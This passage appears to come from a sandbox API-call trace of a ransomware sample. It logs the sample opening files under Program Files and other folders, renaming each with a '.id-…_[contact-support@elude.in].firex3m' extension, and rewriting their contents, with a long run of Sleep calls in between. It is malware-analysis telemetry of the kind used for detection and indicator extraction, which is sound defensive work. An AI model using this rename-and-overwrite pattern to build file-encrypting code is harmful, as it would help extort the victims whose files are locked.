pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\Logo.scale-150.png") returned 1 [0275.326] GetProcessHeap () returned 0x630000 [0275.326] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b24) returned 0x6fe3bb0 [0275.326] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\Logo.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\logo.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.331] Sleep (dwMilliseconds=0x1) [0275.341] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSAN.TTF", len=0x43 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSAN.TTF") returned 1 [0275.341] GetProcessHeap () returned 0x630000 [0275.341] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b04) returned 0x6fe3bb0 [0275.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSAN.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refsan.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0275.349] CloseHandle (hObject=0x6c0) returned 1 [0275.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSAN.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refsan.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSAN.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refsan.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.354] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSAN.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b72fc9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87b72fc9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x35c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFSAN.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REFSAN~1.FIR")) returned 0x6d5200 [0275.388] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0275.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSAN.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\refsan.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0275.388] GetProcessHeap () returned 0x630000 [0275.388] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75771f8 [0275.388] GetProcessHeap () returned 0x630000 [0275.388] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7582628 [0275.388] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.388] ReadFile (in: hFile=0x5ec, lpBuffer=0x75771f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x75771f8*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 52 os_tid = 0x10b0 [0067.524] Sleep (dwMilliseconds=0x1) [0067.537] Sleep (dwMilliseconds=0x1) [0067.554] Sleep (dwMilliseconds=0x1) [0067.654] Sleep (dwMilliseconds=0x1) [0067.664] Sleep (dwMilliseconds=0x1) [0067.677] Sleep (dwMilliseconds=0x1) [0067.695] Sleep (dwMilliseconds=0x1) [0067.708] Sleep (dwMilliseconds=0x1) [0067.726] Sleep (dwMilliseconds=0x1) [0067.740] Sleep (dwMilliseconds=0x1) [0067.765] Sleep (dwMilliseconds=0x1) [0067.771] Sleep (dwMilliseconds=0x1) [0067.790] Sleep (dwMilliseconds=0x1) [0067.931] Sleep (dwMilliseconds=0x1) [0068.039] Sleep (dwMilliseconds=0x1) [0068.151] Sleep (dwMilliseconds=0x1) [0068.279] Sleep (dwMilliseconds=0x1) [0068.399] Sleep (dwMilliseconds=0x1) [0068.494] Sleep (dwMilliseconds=0x1) [0068.543] Sleep (dwMilliseconds=0x1) [0068.700] Sleep (dwMilliseconds=0x1) [0068.745] Sleep (dwMilliseconds=0x1) [0068.794] Sleep (dwMilliseconds=0x1) [0068.840] Sleep (dwMilliseconds=0x1) [0068.886] Sleep (dwMilliseconds=0x1) [0068.932] Sleep (dwMilliseconds=0x1) [0068.978] Sleep (dwMilliseconds=0x1) [0069.045] Sleep (dwMilliseconds=0x1) [0069.107] Sleep (dwMilliseconds=0x1) [0069.156] Sleep (dwMilliseconds=0x1) [0069.200] Sleep (dwMilliseconds=0x1) [0069.247] Sleep (dwMilliseconds=0x1) [0069.295] Sleep (dwMilliseconds=0x1) [0069.375] Sleep (dwMilliseconds=0x1) [0069.437] Sleep (dwMilliseconds=0x1) [0069.481] Sleep (dwMilliseconds=0x1) [0069.525] Sleep (dwMilliseconds=0x1) [0069.693] Sleep (dwMilliseconds=0x1) [0069.922] Sleep (dwMilliseconds=0x1) [0070.144] Sleep (dwMilliseconds=0x1) [0070.265] Sleep (dwMilliseconds=0x1) [0070.379] Sleep (dwMilliseconds=0x1) [0070.537] Sleep (dwMilliseconds=0x1) [0070.873] Sleep (dwMilliseconds=0x1) [0071.565] Sleep (dwMilliseconds=0x1) [0071.939] Sleep (dwMilliseconds=0x1) [0072.425] Sleep (dwMilliseconds=0x1) [0072.604] Sleep (dwMilliseconds=0x1) [0072.802] Sleep (dwMilliseconds=0x1) [0072.952] Sleep (dwMilliseconds=0x1) [0073.102] Sleep (dwMilliseconds=0x1) [0073.605] Sleep (dwMilliseconds=0x1) [0073.778] Sleep (dwMilliseconds=0x1) [0073.946] Sleep (dwMilliseconds=0x1) [0074.047] Sleep (dwMilliseconds=0x1) [0074.177] Sleep (dwMilliseconds=0x1) [0074.385] Sleep (dwMilliseconds=0x1) [0074.667] Sleep (dwMilliseconds=0x1) [0074.775] Sleep (dwMilliseconds=0x1) [0074.844] Sleep (dwMilliseconds=0x1) [0074.906] Sleep (dwMilliseconds=0x1) [0074.999] Sleep (dwMilliseconds=0x1) [0075.061] Sleep (dwMilliseconds=0x1) [0075.105] Sleep (dwMilliseconds=0x1) [0075.158] Sleep (dwMilliseconds=0x1) [0075.215] Sleep (dwMilliseconds=0x1) [0075.265] Sleep (dwMilliseconds=0x1) [0075.304] Sleep (dwMilliseconds=0x1) [0075.363] Sleep (dwMilliseconds=0x1) [0075.427] Sleep (dwMilliseconds=0x1) [0075.514] Sleep (dwMilliseconds=0x1) [0075.567] Sleep (dwMilliseconds=0x1) [0075.613] Sleep (dwMilliseconds=0x1) [0075.698] Sleep (dwMilliseconds=0x1) [0075.745] Sleep (dwMilliseconds=0x1) [0075.792] Sleep (dwMilliseconds=0x1) [0075.831] Sleep (dwMilliseconds=0x1) [0076.048] Sleep (dwMilliseconds=0x1) [0076.059] Sleep (dwMilliseconds=0x1) [0076.087] Sleep (dwMilliseconds=0x1) [0076.103] Sleep (dwMilliseconds=0x1) [0076.190] Sleep (dwMilliseconds=0x1) [0076.387] Sleep (dwMilliseconds=0x1) [0076.534] Sleep (dwMilliseconds=0x1) [0076.674] Sleep (dwMilliseconds=0x1) [0076.705] Sleep (dwMilliseconds=0x1) [0076.778] Sleep (dwMilliseconds=0x1) [0076.805] Sleep (dwMilliseconds=0x1) [0076.846] Sleep (dwMilliseconds=0x1) [0076.874] Sleep (dwMilliseconds=0x1) [0076.917] Sleep (dwMilliseconds=0x1) [0076.987] Sleep (dwMilliseconds=0x1) [0077.072] Sleep (dwMilliseconds=0x1) [0077.151] Sleep (dwMilliseconds=0x1) [0077.218] Sleep (dwMilliseconds=0x1) [0077.292] Sleep (dwMilliseconds=0x1) [0077.357] Sleep (dwMilliseconds=0x1) [0077.415] Sleep (dwMilliseconds=0x1) [0077.517] Sleep (dwMilliseconds=0x1) [0077.601] Sleep (dwMilliseconds=0x1) [0077.646] Sleep (dwMilliseconds=0x1) [0077.692] Sleep (dwMilliseconds=0x1) [0077.733] Sleep (dwMilliseconds=0x1) [0077.785] Sleep (dwMilliseconds=0x1) [0077.830] Sleep (dwMilliseconds=0x1) [0077.859] Sleep (dwMilliseconds=0x1) [0077.909] Sleep (dwMilliseconds=0x1) [0077.962] Sleep (dwMilliseconds=0x1) [0077.978] Sleep (dwMilliseconds=0x1) [0077.998] Sleep (dwMilliseconds=0x1) [0078.088] Sleep (dwMilliseconds=0x1) [0078.115] Sleep (dwMilliseconds=0x1) [0078.136] Sleep (dwMilliseconds=0x1) [0078.191] Sleep (dwMilliseconds=0x1) [0078.225] Sleep (dwMilliseconds=0x1) [0078.236] Sleep (dwMilliseconds=0x1) [0078.255] Sleep (dwMilliseconds=0x1) [0078.270] Sleep (dwMilliseconds=0x1) [0078.288] Sleep (dwMilliseconds=0x1) [0078.312] Sleep (dwMilliseconds=0x1) [0078.362] Sleep (dwMilliseconds=0x1) [0078.377] Sleep (dwMilliseconds=0x1) [0078.515] Sleep (dwMilliseconds=0x1) [0078.534] Sleep (dwMilliseconds=0x1) [0078.559] Sleep (dwMilliseconds=0x1) [0078.571] Sleep (dwMilliseconds=0x1) [0078.609] Sleep (dwMilliseconds=0x1) [0078.628] Sleep (dwMilliseconds=0x1) [0078.644] Sleep (dwMilliseconds=0x1) [0078.660] Sleep (dwMilliseconds=0x1) [0078.675] Sleep (dwMilliseconds=0x1) [0078.706] Sleep (dwMilliseconds=0x1) [0078.723] Sleep (dwMilliseconds=0x1) [0078.736] Sleep (dwMilliseconds=0x1) [0078.756] Sleep (dwMilliseconds=0x1) [0078.768] Sleep (dwMilliseconds=0x1) [0078.788] Sleep (dwMilliseconds=0x1) [0078.835] Sleep (dwMilliseconds=0x1) [0078.889] Sleep (dwMilliseconds=0x1) [0078.930] Sleep (dwMilliseconds=0x1) [0078.942] Sleep (dwMilliseconds=0x1) [0078.962] Sleep (dwMilliseconds=0x1) [0078.975] Sleep (dwMilliseconds=0x1) [0079.006] Sleep (dwMilliseconds=0x1) [0079.028] Sleep (dwMilliseconds=0x1) [0079.052] Sleep (dwMilliseconds=0x1) [0079.077] Sleep (dwMilliseconds=0x1) [0079.101] Sleep (dwMilliseconds=0x1) [0079.113] Sleep (dwMilliseconds=0x1) [0079.132] Sleep (dwMilliseconds=0x1) [0079.156] Sleep (dwMilliseconds=0x1) [0079.227] Sleep (dwMilliseconds=0x1) [0079.247] Sleep (dwMilliseconds=0x1) [0079.272] Sleep (dwMilliseconds=0x1) [0079.283] Sleep (dwMilliseconds=0x1) [0079.303] Sleep (dwMilliseconds=0x1) [0079.312] Sleep (dwMilliseconds=0x1) [0079.333] Sleep (dwMilliseconds=0x1) [0079.344] Sleep (dwMilliseconds=0x1) [0079.364] Sleep (dwMilliseconds=0x1) [0079.374] Sleep (dwMilliseconds=0x1) [0079.401] Sleep (dwMilliseconds=0x1) [0079.413] Sleep (dwMilliseconds=0x1) [0079.426] Sleep (dwMilliseconds=0x1) [0079.444] Sleep (dwMilliseconds=0x1) [0079.520] Sleep (dwMilliseconds=0x1) [0079.539] Sleep (dwMilliseconds=0x1) [0079.550] Sleep (dwMilliseconds=0x1) [0079.597] Sleep (dwMilliseconds=0x1) [0079.614] Sleep (dwMilliseconds=0x1) [0079.626] Sleep (dwMilliseconds=0x1) [0079.645] Sleep (dwMilliseconds=0x1) [0079.657] Sleep (dwMilliseconds=0x1) [0079.679] Sleep (dwMilliseconds=0x1) [0079.692] Sleep (dwMilliseconds=0x1) [0079.736] Sleep (dwMilliseconds=0x1) [0079.804] Sleep (dwMilliseconds=0x1) [0079.812] Sleep (dwMilliseconds=0x1) [0079.834] Sleep (dwMilliseconds=0x1) [0079.887] Sleep (dwMilliseconds=0x1) [0079.899] Sleep (dwMilliseconds=0x1) [0079.914] Sleep (dwMilliseconds=0x1) [0079.934] Sleep (dwMilliseconds=0x1) [0079.989] Sleep (dwMilliseconds=0x1) [0080.045] Sleep (dwMilliseconds=0x1) [0080.073] Sleep (dwMilliseconds=0x1) [0080.082] Sleep (dwMilliseconds=0x1) [0080.102] Sleep (dwMilliseconds=0x1) [0080.134] Sleep (dwMilliseconds=0x1) [0080.163] Sleep (dwMilliseconds=0x1) [0080.171] Sleep (dwMilliseconds=0x1) [0080.240] Sleep (dwMilliseconds=0x1) [0080.258] Sleep (dwMilliseconds=0x1) [0080.271] Sleep (dwMilliseconds=0x1) [0080.283] Sleep (dwMilliseconds=0x1) [0080.303] Sleep (dwMilliseconds=0x1) [0080.313] Sleep (dwMilliseconds=0x1) [0080.345] Sleep (dwMilliseconds=0x1) [0080.359] Sleep (dwMilliseconds=0x1) [0080.386] Sleep (dwMilliseconds=0x1) [0080.390] Sleep (dwMilliseconds=0x1) [0080.412] Sleep (dwMilliseconds=0x1) [0080.424] Sleep (dwMilliseconds=0x1) [0080.444] Sleep (dwMilliseconds=0x1) [0080.500] Sleep (dwMilliseconds=0x1) [0080.529] Sleep (dwMilliseconds=0x1) [0080.553] Sleep (dwMilliseconds=0x1) [0080.563] Sleep (dwMilliseconds=0x1) [0080.587] Sleep (dwMilliseconds=0x1) [0080.601] Sleep (dwMilliseconds=0x1) [0080.619] Sleep (dwMilliseconds=0x1) [0080.656] Sleep (dwMilliseconds=0x1) [0080.677] Sleep (dwMilliseconds=0x1) [0080.706] Sleep (dwMilliseconds=0x1) [0080.720] Sleep (dwMilliseconds=0x1) [0080.767] Sleep (dwMilliseconds=0x1) [0080.785] Sleep (dwMilliseconds=0x1) [0080.807] Sleep (dwMilliseconds=0x1) [0080.817] Sleep (dwMilliseconds=0x1) [0080.838] Sleep (dwMilliseconds=0x1) [0080.845] Sleep (dwMilliseconds=0x1) [0080.891] Sleep (dwMilliseconds=0x1) [0080.916] Sleep (dwMilliseconds=0x1) [0080.924] Sleep (dwMilliseconds=0x1) [0080.940] Sleep (dwMilliseconds=0x1) [0080.959] Sleep (dwMilliseconds=0x1) [0080.976] Sleep (dwMilliseconds=0x1) [0080.991] Sleep (dwMilliseconds=0x1) [0081.002] Sleep (dwMilliseconds=0x1) [0081.027] Sleep (dwMilliseconds=0x1) [0081.053] Sleep (dwMilliseconds=0x1) [0081.282] Sleep (dwMilliseconds=0x1) [0081.437] Sleep (dwMilliseconds=0x1) [0081.527] Sleep (dwMilliseconds=0x1) [0081.541] Sleep (dwMilliseconds=0x1) [0081.559] Sleep (dwMilliseconds=0x1) [0081.584] Sleep (dwMilliseconds=0x1) [0081.597] Sleep (dwMilliseconds=0x1) [0081.615] Sleep (dwMilliseconds=0x1) [0081.626] Sleep (dwMilliseconds=0x1) [0081.667] Sleep (dwMilliseconds=0x1) [0081.680] Sleep (dwMilliseconds=0x1) [0081.695] Sleep (dwMilliseconds=0x1) [0081.707] Sleep (dwMilliseconds=0x1) [0081.760] Sleep (dwMilliseconds=0x1) [0081.773] Sleep (dwMilliseconds=0x1) [0081.792] Sleep (dwMilliseconds=0x1) [0081.830] Sleep (dwMilliseconds=0x1) [0081.851] Sleep (dwMilliseconds=0x1) [0081.883] Sleep (dwMilliseconds=0x1) [0081.896] Sleep (dwMilliseconds=0x1) [0081.908] Sleep (dwMilliseconds=0x1) [0081.929] Sleep (dwMilliseconds=0x1) [0081.940] Sleep (dwMilliseconds=0x1) [0081.969] Sleep (dwMilliseconds=0x1) [0081.984] Sleep (dwMilliseconds=0x1) [0082.005] Sleep (dwMilliseconds=0x1) [0082.034] Sleep (dwMilliseconds=0x1) [0082.052] Sleep (dwMilliseconds=0x1) [0082.066] Sleep (dwMilliseconds=0x1) [0082.115] Sleep (dwMilliseconds=0x1) [0082.130] Sleep (dwMilliseconds=0x1) [0082.154] Sleep (dwMilliseconds=0x1) [0082.197] Sleep (dwMilliseconds=0x1) [0082.213] Sleep (dwMilliseconds=0x1) [0082.234] Sleep (dwMilliseconds=0x1) [0082.257] Sleep (dwMilliseconds=0x1) [0082.279] Sleep (dwMilliseconds=0x1) [0082.292] Sleep (dwMilliseconds=0x1) [0082.311] Sleep (dwMilliseconds=0x1) [0082.369] Sleep (dwMilliseconds=0x1) [0082.420] Sleep (dwMilliseconds=0x1) [0082.538] Sleep (dwMilliseconds=0x1) [0082.591] Sleep (dwMilliseconds=0x1) [0082.634] Sleep (dwMilliseconds=0x1) [0082.686] Sleep (dwMilliseconds=0x1) [0082.726] Sleep (dwMilliseconds=0x1) [0082.778] Sleep (dwMilliseconds=0x1) [0082.820] Sleep (dwMilliseconds=0x1) [0082.872] Sleep (dwMilliseconds=0x1) [0082.914] Sleep (dwMilliseconds=0x1) [0082.970] Sleep (dwMilliseconds=0x1) [0083.014] Sleep (dwMilliseconds=0x1) [0083.057] Sleep (dwMilliseconds=0x1) [0083.101] Sleep (dwMilliseconds=0x1) [0083.153] Sleep (dwMilliseconds=0x1) [0083.198] Sleep (dwMilliseconds=0x1) [0083.245] Sleep (dwMilliseconds=0x1) [0083.291] Sleep (dwMilliseconds=0x1) [0083.340] Sleep (dwMilliseconds=0x1) [0083.383] Sleep (dwMilliseconds=0x1) [0083.438] Sleep (dwMilliseconds=0x1) [0083.701] Sleep (dwMilliseconds=0x1) [0083.753] Sleep (dwMilliseconds=0x1) [0083.800] Sleep (dwMilliseconds=0x1) [0083.915] Sleep (dwMilliseconds=0x1) [0084.010] Sleep (dwMilliseconds=0x1) [0084.095] Sleep (dwMilliseconds=0x1) [0084.200] Sleep (dwMilliseconds=0x1) [0084.345] Sleep (dwMilliseconds=0x1) [0084.736] Sleep (dwMilliseconds=0x1) [0084.813] Sleep (dwMilliseconds=0x1) [0084.875] Sleep (dwMilliseconds=0x1) [0084.963] Sleep (dwMilliseconds=0x1) [0085.050] Sleep (dwMilliseconds=0x1) [0085.121] Sleep (dwMilliseconds=0x1) [0085.183] Sleep (dwMilliseconds=0x1) [0085.348] Sleep (dwMilliseconds=0x1) [0085.389] Sleep (dwMilliseconds=0x1) [0085.737] Sleep (dwMilliseconds=0x1) [0085.830] Sleep (dwMilliseconds=0x1) [0085.965] Sleep (dwMilliseconds=0x1) [0086.081] Sleep (dwMilliseconds=0x1) [0086.187] Sleep (dwMilliseconds=0x1) [0086.236] Sleep (dwMilliseconds=0x1) [0086.295] Sleep (dwMilliseconds=0x1) [0086.351] Sleep (dwMilliseconds=0x1) [0086.589] Sleep (dwMilliseconds=0x1) [0086.896] Sleep (dwMilliseconds=0x1) [0087.092] Sleep (dwMilliseconds=0x1) [0087.471] Sleep (dwMilliseconds=0x1) [0088.474] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1041\\eula.rtf", len=0x23 | out: pbstr=0x433ff7c*="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 1 [0088.474] GetProcessHeap () returned 0x630000 [0088.474] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699948, Size=0x20) returned 0x6e90d0 [0088.474] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0088.474] CloseHandle (hObject=0x698) returned 1 [0088.475] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.475] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.475] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.475] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5000 [0088.475] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0088.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0088.476] GetProcessHeap () returned 0x630000 [0088.476] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x27a1) returned 0x6ef738 [0088.476] GetProcessHeap () returned 0x630000 [0088.476] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x27a1) returned 0x6f8f5f0 [0088.476] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.476] ReadFile (in: hFile=0x698, lpBuffer=0x6ef738, nNumberOfBytesToRead=0x2780, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef738*, lpNumberOfBytesRead=0x433ff0c*=0x2780, lpOverlapped=0x0) returned 1 [0089.923] GetProcessHeap () returned 0x630000 [0089.923] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0089.923] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.923] WriteFile (in: hFile=0x698, lpBuffer=0x6f8f5f0*, nNumberOfBytesToWrite=0x2780, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8f5f0*, lpNumberOfBytesWritten=0x433ff0c*=0x2780, lpOverlapped=0x0) returned 1 [0089.923] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.923] WriteFile (in: hFile=0x698, lpBuffer=0x6f91d6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f91d6f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0089.924] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.924] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0089.924] CloseHandle (hObject=0x698) returned 1 [0089.925] GetProcessHeap () returned 0x630000 [0089.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f8f5f0 | out: hHeap=0x630000) returned 1 [0089.925] GetProcessHeap () returned 0x630000 [0089.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef738 | out: hHeap=0x630000) returned 1 [0089.925] GetProcessHeap () returned 0x630000 [0089.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0089.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0089.925] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfb8bf692, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x27b1, dwReserved0=0xb1c7496, dwReserved1=0x6ef730, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0089.925] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0089.925] Sleep (dwMilliseconds=0x1) [0091.104] Sleep (dwMilliseconds=0x1) [0092.255] Sleep (dwMilliseconds=0x1) [0094.142] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", len=0x2e | out: pbstr=0x433ff7c*="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 1 [0094.142] GetProcessHeap () returned 0x630000 [0094.142] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x20) returned 0x6e92d8 [0094.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0094.142] CloseHandle (hObject=0x68c) returned 1 [0094.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.142] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0094.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0094.143] FindFirstFileW (in: 